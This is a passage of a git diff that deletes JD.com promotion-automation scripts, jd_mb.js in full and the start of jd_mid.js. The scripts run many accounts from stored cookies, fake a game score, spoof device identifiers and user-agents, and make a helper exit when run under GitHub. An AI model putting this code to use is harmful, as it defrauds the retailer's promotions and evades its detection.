(r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_mb.js b/backUp/jd_mb.js deleted file mode 100644 index a09a79a..0000000 --- a/backUp/jd_mb.js +++ /dev/null @@ -1,274 +0,0 @@ -/* - - 6 9,12 * * * jd_mb.js -*/ -const $ = new Env('全民摸冰'); -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const randomCount = $.isNode() ? 20 : 5; -const notify = $.isNode() ? require('./sendNotify') : ''; -let merge = {} -let codeList = [] -Exchange = $.isNode() ? (process.env.Cowexchange ? process.env.Cowexchange : false) : ($.getdata("Cowexchange") ? $.getdata("Cowexchange") : false); -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = `https://api.m.jd.com/client.action`; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.needhelp = true - $.coolcoins = 0 - $.nickName = ''; - $.Authorization = "Bearer undefined" - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await genToken() - authres = await taskPostUrl("auth", { - "token": $.token, - "source": "01" - }) - $.Authorization = `Bearer ${authres.access_token}` - user = await taskUrl("get_user_info", "") - console.log(`昵称:${user.nickname}\n剩余挑战值:${user.coins}\n清凉值:${user.cool_coins}\n今日已抽奖次数:${user.today_lottery_times}`) - taskList = await taskUrl("task_state", "") - productList = await taskUrl("shop_products", "") - for (var o in taskList) { - switch (o) { - case "sign_in": - console.log("每日签到:") - if (taskList[o] == "1") console.log(" 今日已签到") - else { - console.log(" 去签到") - await taskUrl(o, "") - } - break - case "product_view": //浏览商品 - console.log("浏览商品:") - console.log(` 今日已浏览${taskList[o].length}个商品`) - if (taskList[o].length != 12) { - pList = productList.products.filter(x => taskList[o].indexOf(x.id) == "-1") - for (product of pList) { - console.log(` 去浏览${product.name} `) - await taskUrl("product_view", `?product_id=${product.id}`) - } - } - break - case "shop_view": //关注浏览店铺 - console.log("浏览店铺:") - console.log(` 今日已浏览${taskList[o].length}个商品`) - if (taskList[o].length < 6) { - shopList = productList.shops.filter(x => taskList[o].indexOf(x.id) == "-1") - for (shop of shopList) { - console.log(` 去浏览${shop.name} `) - await taskUrl("shop_view", `?shop_id=${shop.id}`) - } - } - break - case "today_invite_num": //邀请 - console.log("邀请助力:") - console.log(` 已邀请${taskList[o].length}个小伙伴`) - if (taskList[o].length < 5) codeList.push(user.id) - break - case "meetingplace": //浏览会场 - console.log("浏览会场:") - console.log(` 今日已浏览${taskList[o].length}会场`) - if (taskList[o].length < 8) { - meetingList = productList.meetingplace.filter(x => taskList[o].indexOf(x.id) == "-1") - for (meetingplace of meetingList) { - console.log(` 去浏览${meetingplace.name} `) - await taskUrl("meetingplace_view", `?meetingplace_id=${meetingplace.id}`) - } - } - break - default: - break - } - } - user = await taskUrl("get_user_info", "") - console.log("去玩游戏") - for (u = 0; u < Math.floor(user.coins / 3); u++) { - console.log(` 第${u+1}次游戏中`) - //开始游戏 - let stares = await taskUrl("start_game", "") - if (stares.token) { - console.log(" 开始游戏成功") - await $.wait(10000); - await taskUrl("game", `?token=${stares.token}&score=110`) - } - } - console.log("去抽奖") - for (t = 0; t < 5 - user.today_lottery_times; t++) { - let lotteryes = await taskUrl("to_lottery", "") - console.log(lotteryes) - if (lotteryes.gift) console.log(`恭喜你获得 ${lotteryes.gift.prize.name} 类型: ${lotteryes.gift.type.match("coupon") ?"优惠券" : lotteryes.gift.type}`) - else console.log("🐮阿🐮阿,恭喜您获得了空气") - } - for (p = 0; p < codeList.length; p++) { - console.log(`为${codeList[p]}助力中...`) - await taskUrl("invite", `?inviter_id=${codeList[p]}`) - } - } - } - if (message.length != 0 && new Date().getHours() == 11) { - if ($.isNode()) { - // await notify.sendNotify("星系牧场", `${message}\n牧场入口:QQ星儿童牛奶京东自营旗舰店->星系牧场\n\n吹水群:https://t.me/wenmouxx`); - } else { - $.msg($.name, "", '全民摸冰' + message) - } - } - })() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) -//获取活动信息 - - - -//genToken -function genToken() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.8&build=89053&client=android&d_brand=HUAWEI&d_model=FRD-AL10&osVersion=8.0.0&screen=1792*1080&partner=huawei&oaid=7afefff5-fffe-40ee-f3de-ffe2ff2fe001&eid=eidAe19a8122a1s2xg+0aWybTLCCATsD6oJbEcYPteQMa3ttkXFlkcAdMo+uVF++BjcBVVNjMkIoFnW2bzHDBnLN0aukEYW72btJTe2aQ4xqyuZqRExl&sdkVersion=26&lang=zh_CN&uuid=5f3a6b660a7d29be&aid=5f3a6b660a7d29be&area=27_2442_2444_31912&networkType=4g&wifiBssid=unknown&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJNuUBMiXpghp5mwBH3zhv1rOuSPEwsLjdPic0zNM6Lj6PpFnIuEOquU1jRYinqzNTeY4975Q%2BY0bAj1wlPztJiG9oagIGX5VE2sOe5rDgMdLlMkXFRaAAR9poPzL4f6KOaDmmcpTJFuB%2BkHswe5crq3X4UvjWD8PmvNm8KpDaQmvW6sbcOUE7Vw%3D%3D&uemps=0-0&harmonyOs=0&st=1626874286410&sign=c1bbfde69bd0d06fc19db58dff7291f5&sv=102', - body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fxinrui2-isv.isvjcloud.com%22%7D&', - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': cookie - } - } - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`); - console.log(`${JSON.stringify(err)}`) - } else { - data = JSON.parse(data); - $.token = data['token'] - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - - -function taskUrl(url, data) { - let body = { - url: `https://xinrui2-isv.isvjcloud.com/api/${url}${data}`, - headers: { - 'Host': 'xinrui2-isv.isvjcloud.com', - // 'Accept': 'application/x.jd-school-raffle.v1+json', - 'X-Requested-With': 'XMLHttpRequest', - "Authorization": $.Authorization, - // X-Requested-With: "XMLHttpRequest", - // source: "01", - 'Referer': 'https://xinrui2-isv.isvjcloud.com/jd-tourism/loading/?channel=zjyy&sid=ff8ed71432ebffb00b0caf9c6e7673ew&un_area=27_2442_2444_31912', - 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', - // 'content-type': 'application/x-www-form-urlencoded', - // 'Cookie': `${cookie} ;`, - } - } - // console.log(body.url) - return new Promise(resolve => { - $.get(body, async (err, resp, data) => { - try { - if (err) { - // console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - data = JSON.parse(data); - if (data.coins && url != "get_user_info") console.log(` 操作成功,当前挑战值${data.coins}`) - if (data.get_cool_coins) { - console.log(` 操作成功,获得清凉值${data.get_cool_coins},当前清凉值${data.user_cool_coins}`) - } - resolve(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskPostUrl(url, data) { - let body = { - url: `https://xinrui2-isv.isvjcloud.com/api/${url}`, - json: data, - headers: { - 'Host': 'xinrui2-isv.isvjcloud.com', - 'Accept': 'application/x.jd-school-raffle.v1+json', - // 'X-Requested-With': 'XMLHttpRequest', - "Authorization": $.Authorization, - 'Referer': 'https://xinrui2-isv.isvjcloud.com/jd-tourism/loading/?channel=zjyy&sid=ff8ed71432ebffb00b0caf9c6e7673ew&un_area=27_2442_2444_31912', - 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', - // 'content-type': 'application/x-www-form-urlencoded', - // 'Cookie': `${cookie} ;`, - } - } - return new Promise(resolve => { - $.post(body, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - resolve(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/jd_mid.js b/backUp/jd_mid.js deleted file mode 100644 index 1f4523a..0000000 --- a/backUp/jd_mid.js +++ /dev/null @@ -1,555 +0,0 @@ -/* -月满金秋 佳节聚“惠” - -https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/6531736?activityId=21h3i1h3h2u1h3g43gy4g3yu2u23u423 -0 14 * * * jd_mid.js -*/ -const $ = new Env("月满金秋 佳节聚“惠”"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr 